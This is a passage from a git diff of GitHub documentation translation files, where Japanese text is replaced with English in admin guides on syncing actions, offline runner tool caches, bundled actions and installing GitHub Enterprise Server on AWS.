"[`ghe-org-admin-promote`](/admin/configuration/command-line-utilities#ghe-org-admin-promote)." ```shell ghe-org-admin-promote -u USERNAME -o actions @@ -71,7 +71,7 @@ This example demonstrates using the `actions-sync` tool to sync an individual ac {% endnote %} 1. Download and extract the latest [`actions-sync` release](https://github.com/actions/actions-sync/releases) for your machine's operating system. -1. ツールのキャッシュファイルを保存するディレクトリを作成します。 +1. Create a directory to store cache files for the tool. 1. Run the `actions-sync sync` command: ```shell @@ -82,20 +82,20 @@ This example demonstrates using the `actions-sync` tool to sync an individual ac --repo-name "actions/stale:synced-actions/actions-stale" ``` - 上記のコマンドでは、次の引数を使用しています。 - - * `--cache-dir`: コマンドを実行しているマシンのキャッシュディレクトリ。 - * `--destination-token`: 宛先 Enterprise インスタンスの個人アクセストークン。 - * `--destination-url`: 宛先 Enterprise インスタンスの URL。 - * `--repo-name`: 同期するアクションリポジトリ。 これは、`owner/repository:destination_owner/destination_repository` の形式を採用しています。 - - * The above example syncs the [`actions/stale`](https://github.com/actions/stale) repository to the `synced-actions/actions-stale` repository on the destination enterprise instance. 上記のコマンドを実行する前に、Enterprise で `synced-actions` という名前の Organization を作成する必要があります。 - * `:destination_owner/destination_repository` を省略すると、ツールは Enterprise の元の所有者とリポジトリ名を使用します。 コマンドを実行する前に、アクションの所有者名と一致する新しい Organization を Enterprise に作成する必要があります。 同期されたアクションを Enterprise に保存するために中枢の Organization を使用することを検討してください。これは、異なる所有者からのアクションを同期する場合、複数の新しい Organization を作成する必要がないということです。 - * `--repo-name` パラメータを `--repo-name-list` または `--repo-name-list-file` に置き換えることにより、複数のアクションを同期できます。 詳しい情報については、「[`actions/cache` README](https://github.com/actions/actions-sync#actions-sync)」を参照してください。 -1. Enterprise でアクションリポジトリが作成された後、Enterprise 内のユーザは、宛先リポジトリを使用してワークフロー内のアクションを参照できます。 上記のアクション例の場合: + The above command uses the following arguments: + * `--cache-dir`: The cache directory on the machine running the command. + * `--destination-token`: A personal access token for the destination enterprise instance. + * `--destination-url`: The URL of the destination enterprise instance. + * `--repo-name`: The action repository to sync. This takes the format of `owner/repository:destination_owner/destination_repository`. + + * The above example syncs the [`actions/stale`](https://github.com/actions/stale) repository to the `synced-actions/actions-stale` repository on the destination enterprise instance. You must create the organization named `synced-actions` in your enterprise before running the above command. + * If you omit `:destination_owner/destination_repository`, the tool uses the original owner and repository name for your enterprise. Before running the command, you must create a new organization in your enterprise that matches the owner name of the action. Consider using a central organization to store the synced actions in your enterprise, as this means you will not need to create multiple new organizations if you sync actions from different owners. + * You can sync multiple actions by replacing the `--repo-name` parameter with `--repo-name-list` or `--repo-name-list-file`. For more information, see the [`actions-sync` README](https://github.com/actions/actions-sync#actions-sync). +1. After the action repository is created in your enterprise, people in your enterprise can use the destination repository to reference the action in their workflows. For the example action shown above: + ```yaml uses: synced-actions/actions-stale@v1 ``` - 詳しい情報については、「[GitHub Actionsのワークフロー構文](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsuses)」を参照してください。 + For more information, see "[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsuses)." diff --git a/translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md b/translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md index f5e998cc78..abac8e869b 100644 --- a/translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md +++ b/translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md @@ -1,6 +1,6 @@ --- -title: インターネットにアクセスできないセルフホストランナーにツールキャッシュを設定する -intro: インターネットにアクセスできないセルフホストランナー上の `actions/setup` アクションを使用するには、最初にワークフローのランナーのツールキャッシュにデータを入力する必要があります。 +title: Setting up the tool cache on self-hosted runners without internet access +intro: 'To use the included `actions/setup` actions on self-hosted runners without internet access, you must first populate the runner''s tool cache for your workflows.' redirect_from: - /enterprise/admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access - /admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access @@ -15,39 +15,38 @@ topics: - Storage shortTitle: Tool cache for offline runners --- - {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## 含まれているセットアップアクションとランナーツールキャッシュについて +## About the included setup actions and the runner tool cache {% data reusables.actions.enterprise-no-internet-actions %} -ほとんどの公式の {% data variables.product.prodname_dotcom %} 作成のアクションは自動的に {% data variables.product.product_name %} にバンドルされます。 ただし、インターネットにアクセスできないセルフホストランナーは、`setup-node` などの含まれている `actions/setup-LANGUAGE` アクションを使用する前に、いくつかの設定が必要です。 +Most official {% data variables.product.prodname_dotcom %}-authored actions are automatically bundled with {% data variables.product.product_name %}. However, self-hosted runners without internet access require some configuration before they can use the included `actions/setup-LANGUAGE` actions, such as `setup-node`. -`actions/setup-LANGUAGE` アクションは通常、必要な環境バイナリをランナーのツールキャッシュにダウンロードするためにインターネットアクセスが必要です。 インターネットにアクセスできないセルフホストのランナーはバイナリをダウンロードできないため、ランナーのツールキャッシュに手動でデータを入力する必要があります。 +The `actions/setup-LANGUAGE` actions normally need internet access to download the required environment binaries into the runner's tool cache. Self-hosted runners without internet access can't download the binaries, so you must manually populate the tool cache on the runner. -{% data variables.product.prodname_dotcom_the_website %} で {% data variables.product.prodname_actions %} ワークフローを実行してランナーツールキャッシュにデータを入力できます。このワークフローは、{% data variables.product.prodname_dotcom %} ホストランナーのツールキャッシュをアーティファクトとしてアップロードし、インターネットで切断されたセルフホストランナーで転送および抽出できます。 +You can populate the runner tool cache by running a {% data variables.product.prodname_actions %} workflow on {% data variables.product.prodname_dotcom_the_website %} that uploads a {% data variables.product.prodname_dotcom %}-hosted runner's tool cache as an artifact, which you can then transfer and extract on your internet-disconnected self-hosted runner. {% note %} -**注釈:** {% data variables.product.prodname_dotcom %} ホストランナーのツールキャッシュは、同じオペレーティングシステムとアーキテクチャを含むセルフホストランナーにのみ使用できます。 たとえば、`ubuntu-18.04` {% data variables.product.prodname_dotcom %} ホストランナーを使用してツールキャッシュを生成している場合、セルフホストランナーは 64 ビットの Ubuntu18.04 マシンである必要があります。 サポートされている {% data variables.product.prodname_dotcom %} ホストランナーに関する詳しい情報については、「GitHub ホストランナーの仮想環境」を参照してください。 +**Note:** You can only use a {% data variables.product.prodname_dotcom %}-hosted runner's tool cache for a self-hosted runner that has an identical operating system and architecture. For example, if you are using a `ubuntu-18.04` {% data variables.product.prodname_dotcom %}-hosted runner to generate a tool cache, your self-hosted runner must be a 64-bit Ubuntu 18.04 machine. For more information on {% data variables.product.prodname_dotcom %}-hosted runners, see "Virtual environments for GitHub-hosted runners." {% endnote %} -## 必要な環境 +## Prerequisites -* セルフホストランナーに必要な開発環境を決定します。 次の例は、Node.js バージョン 10 および 12 を使用して、`setup-node` アクションのツールキャッシュにデータを入力する方法を示しています。 -* ワークフロー実行に使用できる {% data variables.product.prodname_dotcom_the_website %} のリポジトリへのアクセス。 -* セルフホストのランナーのファイルシステムにアクセスして、ツールのキャッシュフォルダーにデータを入力します。 +* Determine which development environments your self-hosted runners will need. The following example demonstrates how to populate a tool cache for the `setup-node` action, using Node.js versions 10 and 12. +* Access to a repository on {% data variables.product.prodname_dotcom_the_website %} that you can use to run a workflow. +* Access to your self-hosted runner's file system to populate the tool cache folder. -## セルフホストランナーのツールキャッシュに入力する +## Populating the tool cache for a self-hosted runner -1. {% data variables.product.prodname_dotcom_the_website %} で、{% data variables.product.prodname_actions %} ワークフローの実行に使用できるリポジトリに移動します。 -1. {% data variables.product.prodname_dotcom %} ホストランナーのツールキャッシュを含むアーティファクトをアップロードする、リポジトリの `.github/workflows` フォルダに新しいワークフローファイルを作成します。 +1. On {% data variables.product.prodname_dotcom_the_website %}, navigate to a repository that you can use to run a {% data variables.product.prodname_actions %} workflow. +1. Create a new workflow file in the repository's `.github/workflows` folder that uploads an artifact containing the {% data variables.product.prodname_dotcom %}-hosted runner's tool cache. - 次の例は、Node.js バージョン 10 および 12 で `setup-node` アクションを使用して、Ubuntu18.04 環境のツールキャッシュをアップロードするワークフローを示しています。 + The following example demonstrates a workflow that uploads the tool cache for an Ubuntu 18.04 environment, using the `setup-node` action with Node.js versions 10 and 12. {% raw %} ```yaml @@ -79,10 +78,10 @@ shortTitle: Tool cache for offline runners path: ${{runner.tool_cache}}/tool_cache.tar.gz ``` {% endraw %} -1. ワークフロー実行からツールキャッシュアーティファクトをダウンロードします。 アーティファクトのダウンロード手順については、「[ワークフローアーティファクトをダウンロードする](/actions/managing-workflow-runs/downloading-workflow-artifacts)」を参照してください。 -1. ツールキャッシュアーティファクトをセルフホストランナーに転送し、ローカルツールキャッシュディレクトリに抽出します。 デフォルトのツールキャッシュディレクトリは `RUNNER_DIR/_work/_tool` です。 ランナーがまだジョブを処理していない場合は、`_work/_tool` ディレクトリを作成する必要がある場合があります。 +1. Download the tool cache artifact from the workflow run. For instructions on downloading artifacts, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)." +1. Transfer the tool cache artifact to your self hosted runner and extract it to the local tool cache directory. The default tool cache directory is `RUNNER_DIR/_work/_tool`. If the runner hasn't processed any jobs yet, you might need to create the `_work/_tool` directories. - 上記の例でアップロードされたツールキャッシュアーティファクトを抽出した後、次の例のようなセルフホストランナーのディレクトリ構造を作成する必要があります。 + After extracting the tool cache artifact uploaded in the above example, you should have a directory structure on your self-hosted runner that is similar to the following example: ``` RUNNER_DIR @@ -97,4 +96,4 @@ shortTitle: Tool cache for offline runners └── ... ``` -これで、インターネットにアクセスできないセルフホストランナーが `setup-node` アクションを使用できるようになります。 問題が発生した場合は、ワークフローに適切なツールキャッシュを設定していることを確認してください。 たとえば、`setup-python` アクションを使用する必要がある場合は、使用する Python 環境をツールキャッシュに入力する必要があります。 +Your self-hosted runner without internet access should now be able to use the `setup-node` action. If you are having problems, make sure that you have populated the correct tool cache for your workflows. For example, if you need to use the `setup-python` action, you will need to populate the tool cache with the Python environment you want to use. diff --git a/translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md b/translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md index 3171416270..a4e9e42420 100644 --- a/translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md +++ b/translations/ja-JP/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md @@ -13,7 +13,6 @@ redirect_from: - /admin/github-actions/using-the-latest-version-of-the-official-bundled-actions shortTitle: Use the latest bundled actions --- - {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} @@ -28,18 +27,24 @@ To update the bundled actions, you can use the `actions-sync` tool to update the ## Using {% data variables.product.prodname_github_connect %} to access the latest actions -You can use {% data variables.product.prodname_github_connect %} to allow {% data variables.product.product_name %} to use actions from {% data variables.product.prodname_dotcom_the_website %}. 詳しい情報については、「[{% data variables.product.prodname_github_connect %} を使用した {% data variables.product.prodname_dotcom_the_website %} アクションへの自動アクセスを有効化する](/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)」を参照してください。 +You can use {% data variables.product.prodname_github_connect %} to allow {% data variables.product.product_name %} to use actions from {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)." Once {% data variables.product.prodname_github_connect %} is configured, you can use the latest version of an action by deleting its local repository in the `actions` organization on your instance. For example, if your enterprise instance is using the `actions/checkout@v1` action, and you need to use `actions/checkout@v2` which isn't available on your enterprise instance, perform the following steps to be able to use the latest `checkout` action from {% data variables.product.prodname_dotcom_the_website %}: 1. From an enterprise owner account on {% data variables.product.product_name %}, navigate to the repository you want to delete from the *actions* organization (in this example `checkout`). -1. By default, site administrators are not owners of the bundled *actions* organization. To get the access required to delete the `checkout` repository, you must use the site admin tools. Click {% octicon "rocket" aria-label="The rocket ship" %} in the upper-right corner of any page in that repository. ![サイトアドミン設定にアクセスするための宇宙船のアイコン](/assets/images/enterprise/site-admin-settings/access-new-settings.png) -1. Click {% octicon "shield-lock" %} **Security** to see the security overview for the repository. ![Security header the repository](/assets/images/enterprise/site-admin-settings/access-repo-security-info.png) -1. Under "Privileged access", click **Unlock**. ![Unlock button](/assets/images/enterprise/site-admin-settings/unlock-priviledged-repo-access.png) -1. Under **Reason**, type a reason for unlocking the repository, then click **Unlock**. ![Confirmation dialog](/assets/images/enterprise/site-admin-settings/confirm-unlock-repo-access.png) -1. Now that the repository is unlocked, you can leave the site admin pages and delete the repository within the `actions` organization. At the top of the page, click the repository name, in this example **checkout**, to return to the summary page. ![Repository name link](/assets/images/enterprise/site-admin-settings/display-repository-admin-summary.png) +1. By default, site administrators are not owners of the bundled *actions* organization. To get the access required to delete the `checkout` repository, you must use the site admin tools. Click {% octicon "rocket" aria-label="The rocket ship" %} in the upper-right corner of any page in that repository. + ![Rocketship icon for accessing site admin settings](/assets/images/enterprise/site-admin-settings/access-new-settings.png) +1. Click {% octicon "shield-lock" %} **Security** to see the security overview for the repository. + ![Security header the repository](/assets/images/enterprise/site-admin-settings/access-repo-security-info.png) +1. Under "Privileged access", click **Unlock**. + ![Unlock button](/assets/images/enterprise/site-admin-settings/unlock-priviledged-repo-access.png) +1. Under **Reason**, type a reason for unlocking the repository, then click **Unlock**. + ![Confirmation dialog](/assets/images/enterprise/site-admin-settings/confirm-unlock-repo-access.png) +1. Now that the repository is unlocked, you can leave the site admin pages and delete the repository within the `actions` organization. At the top of the page, click the repository name, in this example **checkout**, to return to the summary page. + ![Repository name link](/assets/images/enterprise/site-admin-settings/display-repository-admin-summary.png) 1. Under "Repository info", click **View code** to leave the site admin pages and display the `checkout` repository. -1. Delete the `checkout` repository within the `actions` organization. For information on how to delete a repository, see "[Deleting a repository](/github/administering-a-repository/deleting-a-repository)." ![View code link](/assets/images/enterprise/site-admin-settings/exit-admin-page-for-repository.png) +1. Delete the `checkout` repository within the `actions` organization. For information on how to delete a repository, see "[Deleting a repository](/github/administering-a-repository/deleting-a-repository)." + ![View code link](/assets/images/enterprise/site-admin-settings/exit-admin-page-for-repository.png) 1. Configure your workflow's YAML to use `actions/checkout@v2`. 1. Each time your workflow runs, the runner will use the `v2` version of `actions/checkout` from {% data variables.product.prodname_dotcom_the_website %}. diff --git a/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md b/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md index 30bed95c0d..d857ebcd73 100644 --- a/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md +++ b/translations/ja-JP/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md @@ -1,6 +1,6 @@ --- -title: AWS で GitHub Enterprise Server をインストールする -intro: '{% data variables.product.prodname_ghe_server %} をAmazon Web Services (AWS) にインストールするには、Amazon Elastic Compute Cloud (EC2) インスタンスを起動し、個別の Amazon Elastic Block Store (EBS) データボリュームを作成してアタッチする必要があります。' +title: Installing GitHub Enterprise Server on AWS +intro: 'To install {% data variables.product.prodname_ghe_server %} on Amazon Web Services (AWS), you must launch an Amazon Elastic Compute Cloud (EC2) instance and create and attach a separate Amazon Elastic Block Store (EBS) data volume.' redirect_from: - /enterprise/admin/guides/installation/installing-github-enterprise-on-aws/ - /enterprise/admin/installation/installing-github-enterprise-server-on-aws @@ -15,101 +15,101 @@ topics: - Set up shortTitle: Install on AWS --- - -## 必要な環境 +## Prerequisites - {% data reusables.enterprise_installation.software-license %} -- EC2 インスタンスを起動してEBS ボリュームを作成できる AWS アカウントを所有している必要があります。 詳細は [Amazon Web Services のウェブサイト](https://aws.amazon.com/)を参照してください。 -- {% data variables.product.product_location %}の起動に必要なほとんどのアクションは、AWSマネジメントコンソールを使っても行えます。 とはいえ、初期のセットアップのためにAWSコマンドラインインターフェース（CLI）をインストールすることをおすすめします。 AWS CLIの使用例は以下にあります。 詳しい情報については、Amazonのガイド"[AWSマネジメントコンソールの操作](https://docs.aws.amazon.com/ja_jp/awsconsolehelpdocs/latest/gsg/getting-started.html)"及び"[AWS Command Line Interfaceとは](https://docs.aws.amazon.com/ja_jp/cli/latest/userguide/cli-chap-welcome.html)"を参照してください。 +- You must have an AWS account capable of launching EC2 instances and creating EBS volumes. For more information, see the [Amazon Web Services website](https://aws.amazon.com/). +- Most actions needed to launch {% data variables.product.product_location %} may also be performed using the AWS management console. However, we recommend installing the AWS command line interface (CLI) for initial setup. Examples using the AWS CLI are included below. For more information, see Amazon's guides "[Working with the AWS Management Console](http://docs.aws.amazon.com/awsconsolehelpdocs/latest/gsg/getting-started.html)" and "[What is the AWS Command Line Interface](http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-welcome.html)." -本ガイドは、読者が以下のAWSの概念に馴染んでいることを前提としています。 +This guide assumes you are familiar with the following AWS concepts: - - [EC2インスタンスの起動](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/LaunchingAndUsingInstances.html) - - [EBSボリュームの管理](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AmazonEBS.html) - - [セキュリティグループの利用](https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/using-network-security.html)（インスタンスへのネットワークアクセスの管理用） - - [Elastic IPアドレス](https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html)（プロダクション環境では強く推奨） - - [Amazon EC2 と Amazon Virtual Private Cloud](https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/using-vpc.html)（Virtual Private Cloud内での起動を計画しているなら） - - [AWS の価格](https://aws.amazon.com/pricing/)（コストの計算と管理） + - [Launching EC2 Instances](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/LaunchingAndUsingInstances.html) + - [Managing EBS Volumes](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AmazonEBS.html) + - [Using Security Groups](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) (For managing network access to your instance) + - [Elastic IP Addresses (EIP)](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) (Strongly recommended for production environments) + - [EC2 and Virtual Private Cloud](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-vpc.html) (If you plan to launch into a Virtual Private Cloud) + - [AWS Pricing](https://aws.amazon.com/pricing/) (For calculating and managing costs) -For an architectural overview, see the "[AWS Architecture Diagram for Deploying GitHub Enterprise Server](/assets/images/installing-github-enterprise-server-on-aws.png)". +For an architectural overview, see the "[AWS Architecture Diagram for Deploying GitHub Enterprise Server](/assets/images/installing-github-enterprise-server-on-aws.png)". -このガイドでは、AWS で {% data variables.product.product_location %} を設定する際に最小権限の原則を推奨しています。 詳細については、[AWS ID およびアクセス管理 (IAM)のドキュメント](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html#grant-least-privilege)を参照してください。 +This guide recommends the principle of least privilege when setting up {% data variables.product.product_location %} on AWS. For more information, refer to the [AWS Identity and Access Management (IAM) documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html#grant-least-privilege). -## ハードウェアについて +## Hardware considerations {% data reusables.enterprise_installation.hardware-considerations-all-platforms %} -## インスタンスタイプの決定 +## Determining the instance type -AWS で{% data variables.product.product_location %} を起動する前に、Organization のニーズに最適なマシンタイプを決定する必要があります。 {% data variables.product.product_name %} の最小要件を確認するには、「[最小要件](#minimum-requirements)」を参照してください。 +Before launching {% data variables.product.product_location %} on AWS, you'll need to determine the machine type that best fits the needs of your organization. To review the minimum requirements for {% data variables.product.product_name %}, see "[Minimum requirements](#minimum-requirements)." {% data reusables.enterprise_installation.warning-on-scaling %} {% data reusables.enterprise_installation.aws-instance-recommendation %} -## {% data variables.product.prodname_ghe_server %} AMI を選択する +## Selecting the {% data variables.product.prodname_ghe_server %} AMI -{% data variables.product.prodname_ghe_server %} には、{% data variables.product.prodname_ghe_server %} ポータルまたは AWS CLI を使用することで、Amazon Machine Image (AMI) を選択できます。 +You can select an Amazon Machine Image (AMI) for {% data variables.product.prodname_ghe_server %} using the {% data variables.product.prodname_ghe_server %} portal or the AWS CLI. -{% data variables.product.prodname_ghe_server %}用のAMIは、AWS GovCloud (US東部およびUS西部) 地域で利用できます。 これにより、特定の規制要件を満たす米国のお客様は、連邦準拠のクラウド環境で {% data variables.product.prodname_ghe_server %} を実行できます。 AWSの連邦及びその他の標準への準拠に関する詳しい情報については[AWS's GovCloud (US) page](http://aws.amazon.com/govcloud-us/) and [AWS コンプライアンスページ](https://aws.amazon.com/jp/compliance/)を参照してください。 +AMIs for {% data variables.product.prodname_ghe_server %} are available in the AWS GovCloud (US-East and US-West) region. This allows US customers with specific regulatory requirements to run {% data variables.product.prodname_ghe_server %} in a federally compliant cloud environment. For more information on AWS's compliance with federal and other standards, see [AWS's GovCloud (US) page](http://aws.amazon.com/govcloud-us/) and [AWS's compliance page](https://aws.amazon.com/compliance/). -### {% data variables.product.prodname_ghe_server %} を使用して AMI を選択する +### Using the {% data variables.product.prodname_ghe_server %} portal to select an AMI {% data reusables.enterprise_installation.enterprise-download-procedural %} {% data reusables.enterprise_installation.download-appliance %} -3. Select your platform（プラットフォームの選択）ドロップダウンメニューで**Amazon Web Services**をクリックしてください。 -4. Select your AWS region（AWSのリージョン選択）ドロップダウンメニューで、希望するリージョンを選択してください。 -5. 表示されたAMI IDをメモしておいてください。 +3. In the Select your platform drop-down menu, click **Amazon Web Services**. +4. In the Select your AWS region drop-down menu, choose your desired region. +5. Take note of the AMI ID that is displayed. -### AWS CLIを使ったAMIの選択 +### Using the AWS CLI to select an AMI -1. AWS CLI を使用して、{% data variables.product.prodname_dotcom %} の AWS オーナー ID (GovCloud の場合は `025577942450`、その他の地域の場合は `895557238572`) によって公開された {% data variables.product.prodname_ghe_server %} イメージのリストを取得します。 詳しい情報についてはAWSのドキュメンテーションの"[describe-images](http://docs.aws.amazon.com/cli/latest/reference/ec2/describe-images.html)"を参照してください。 +1. Using the AWS CLI, get a list of {% data variables.product.prodname_ghe_server %} images published by {% data variables.product.prodname_dotcom %}'s AWS owner IDs (`025577942450` for GovCloud, and `895557238572` for other regions). For more information, see "[describe-images](http://docs.aws.amazon.com/cli/latest/reference/ec2/describe-images.html)" in the AWS documentation. ```shell aws ec2 describe-images \ --owners OWNER ID \ --query 'sort_by(Images,&Name)[*].{Name:Name,ImageID:ImageId}' \ --output=text ``` -2. 最新の {% data variables.product.prodname_ghe_server %} イメージ用の AMI ID をメモしておきます。 +2. Take note of the AMI ID for the latest {% data variables.product.prodname_ghe_server %} image. -## セキュリティグループの作成 +## Creating a security group -AMI を初めてセットアップする場合は、セキュリティグループを作成し、下記の表にある各ポートに関する新しいセキュリティグループのルールを追加する必要があります。 詳しい情報については、AWS ガイドの「[Using Security Groups](http://docs.aws.amazon.com/cli/latest/userguide/cli-ec2-sg.html)」を参照してください。 +If you're setting up your AMI for the first time, you will need to create a security group and add a new security group rule for each port in the table below. For more information, see the AWS guide "[Using Security Groups](http://docs.aws.amazon.com/cli/latest/userguide/cli-ec2-sg.html)." -1. AWS CLI を使用して、新しいセキュリティグループを作成します。 詳しい情報については、AWS ドキュメンテーションの「[create-security-group](http://docs.aws.amazon.com/cli/latest/reference/ec2/create-security-group.html)」を参照してください。 +1. Using the AWS CLI, create a new security group. For more information, see "[create-security-group](http://docs.aws.amazon.com/cli/latest/reference/ec2/create-security-group.html)" in the AWS documentation. ```shell $ aws ec2 create-security-group --group-name SECURITY_GROUP_NAME --description "SECURITY GROUP DESCRIPTION" ``` -2. 新しく作成したセキュリティグループのセキュリティグループ ID (`sg-xxxxxxxx`) をメモしておきます。 +2. Take note of the security group ID (`sg-xxxxxxxx`) of your newly created security group. -3. 下記の表にある各ポートに関するセキュリティグループのルールを作成します。 詳しい情報については、AWS ドキュメンテーションの「[authorize-security-group-ingress](http://docs.aws.amazon.com/cli/latest/reference/ec2/authorize-security-group-ingress.html)」を参照してください。 +3. Create a security group rule for each of the ports in the table below. For more information, see "[authorize-security-group-ingress](http://docs.aws.amazon.com/cli/latest/reference/ec2/authorize-security-group-ingress.html)" in the AWS documentation. ```shell $ aws ec2 authorize-security-group-ingress --group-id SECURITY_GROUP_ID --protocol PROTOCOL --port PORT_NUMBER --cidr SOURCE IP RANGE ``` - 次の表に、各ポートの使用目的を示します + This table identifies what each port is used for. {% data reusables.enterprise_installation.necessary_ports %} -## {% data variables.product.prodname_ghe_server %} インスタンスを作成する +## Creating the {% data variables.product.prodname_ghe_server %} instance -インスタンスを作成するには、{% data variables.product.prodname_ghe_server %} AMI を使用して EC2 インスタンスを起動し、インスタンスデータ用の追加のストレージボリュームをアタッチする必要があります。 詳細は「[ハードウェアについて](#hardware-considerations)」を参照してください。 +To create the instance, you'll need to launch an EC2 instance with your {% data variables.product.prodname_ghe_server %} AMI and attach an additional storage volume for your instance data. For more information, see "[Hardware considerations](#hardware-considerations)." {% note %} -**注釈:** データディスクを暗号化してセキュリティを強化すれば、インスタンスに書き込むデータを確実に保護することができます。 暗号化ディスクを使用すると、パフォーマンスにわずかな影響が生じます。 ボリュームを暗号化することに決めた場合は、インスタンスを初めて起動する**前に**暗号化することを強くおすすめします。 詳しい情報については、[EBS 暗号化に関する Amazon のガイド](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html)を参照してください。 +**Note:** You can encrypt the data disk to gain an extra level of security and ensure that any data you write to your instance is protected. There is a slight performance impact when using encrypted disks. If you decide to encrypt your volume, we strongly recommend doing so **before** starting your instance for the first time. + For more information, see the [Amazon guide on EBS encryption](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html). {% endnote %} {% warning %} -**警告:** インスタンスを設定した後に暗号化を有効にすると決めた場合は、データを暗号化されたボリュームに移行する必要があります。これにより、ある程度のダウンタイムが生じます。 +**Warning:** If you decide to enable encryption after you've configured your instance, you will need to migrate your data to the encrypted volume, which will incur some downtime for your users. {% endwarning %} -### EC2 インスタンスの起動 +### Launching an EC2 instance -AWS CLI で、AMI および作成したセキュリティグループを使用して EC2 インスタンスを起動します。 インスタンスデータ用にストレージボリュームとして使うための新しいブロックデバイスをアタッチし、サイズをユーザライセンス数に基づいて設定してください。 詳しい情報については、AWS ドキュメンテーションの「[describe-images](http://docs.aws.amazon.com/cli/latest/reference/ec2/run-instances.html)」を参照してください。 +In the AWS CLI, launch an EC2 instance using your AMI and the security group you created. Attach a new block device to use as a storage volume for your instance data, and configure the size based on your user license count. For more information, see "[run-instances](http://docs.aws.amazon.com/cli/latest/reference/ec2/run-instances.html)" in the AWS documentation. ```shell aws ec2 run-instances \ @@ -121,21 +121,21 @@ aws ec2 run-instances \ --ebs-optimized ``` -### Elastic IP を割り当ててとインスタンスに関連付ける +### Allocating an Elastic IP and associating it with the instance -これが本番インスタンスである場合は、{% data variables.product.prodname_ghe_server %} の設定に進む前に、Elastic IP (EIP) を割り当ててそれをインスタンスに関連付けることを強くおすすめします。 そうしなければ、インスタンスのパブリック IP アドレスはインスタンスの再起動後に保持されません。 詳しい情報については、Amazon ドキュメンテーションの「[Elastic IP アドレスを割り当てる](https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-instance-addressing-eips-allocating)」および「[Elastic IP アドレスを実行中のインスタンスに関連付ける](https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-instance-addressing-eips-associating)」を参照してください。 +If this is a production instance, we strongly recommend allocating an Elastic IP (EIP) and associating it with the instance before proceeding to {% data variables.product.prodname_ghe_server %} configuration. Otherwise, the public IP address of the instance will not be retained after instance restarts. For more information, see "[Allocating an Elastic IP Address](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-instance-addressing-eips-allocating)" and "[Associating an Elastic IP Address with a Running Instance](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-instance-addressing-eips-associating)" in the Amazon documentation. -稼働状態の High Availability 設定では、プライマリインスタンスとレプリカインスタンスの両方に別々の EIP を割り当ててください。 詳細は「[High Availability 用に {% data variables.product.prodname_ghe_server %} を設定する](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)」を参照してください。 +Both primary and replica instances should be assigned separate EIPs in production High Availability configurations. For more information, see "[Configuring {% data variables.product.prodname_ghe_server %} for High Availability](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)." -## {% data variables.product.prodname_ghe_server %} インスタンスを設定する +## Configuring the {% data variables.product.prodname_ghe_server %} instance {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %} {% data reusables.enterprise_installation.upload-a-license-file %} -{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %}詳しい情報については、「[{% data variables.product.prodname_ghe_server %} アプライアンスを設定する](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)」を参照してください。 +{% 